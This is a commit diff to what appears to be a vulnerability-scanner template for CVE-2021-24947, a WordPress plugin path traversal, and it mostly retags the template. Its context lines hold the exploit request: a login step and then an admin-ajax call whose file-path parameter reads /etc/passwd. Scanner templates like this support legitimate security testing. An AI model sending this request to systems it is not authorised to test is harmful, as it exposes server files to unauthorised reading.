Update CVE-2021-24947.yaml

patch-1
Prince Chaddha 2022-02-09 00:38:33 +05:30 committed by GitHub
parent 2d3240a98f
commit 81a4316d2e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 3 deletions

View File

@ -11,7 +11,7 @@ info:
classification:
cve-id: CVE-2021-24947
cwe-id: CWE-23
tags: cve,cve2021,arbitrary-file-read,wp,wordpress,wp-plugin,authenticated
tags: cve,cve2021,lfi,wp,wordpress,wp-plugin,authenticated,lfr
requests:
- raw:
@ -23,7 +23,6 @@ requests:
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
Host: {{Hostname}}
@ -37,4 +36,4 @@ requests:
- type: status
status:
- 200
- 200